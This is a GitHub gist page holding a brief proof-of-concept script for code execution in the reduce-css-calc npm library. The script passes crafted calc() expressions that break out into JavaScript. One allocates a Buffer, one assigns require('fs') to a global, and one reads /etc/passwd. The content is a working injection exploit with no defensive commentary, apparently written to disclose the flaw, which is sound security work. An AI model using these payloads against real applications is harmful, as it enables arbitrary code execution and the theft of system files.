Skip to content

Instantly share code, notes, and snippets.

@ChALkeR ChALkeR/reduce-css-calc-poc.js Secret
Created Aug 20, 2016

Embed
What would you like to do?
reduce-css-calc code execution
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.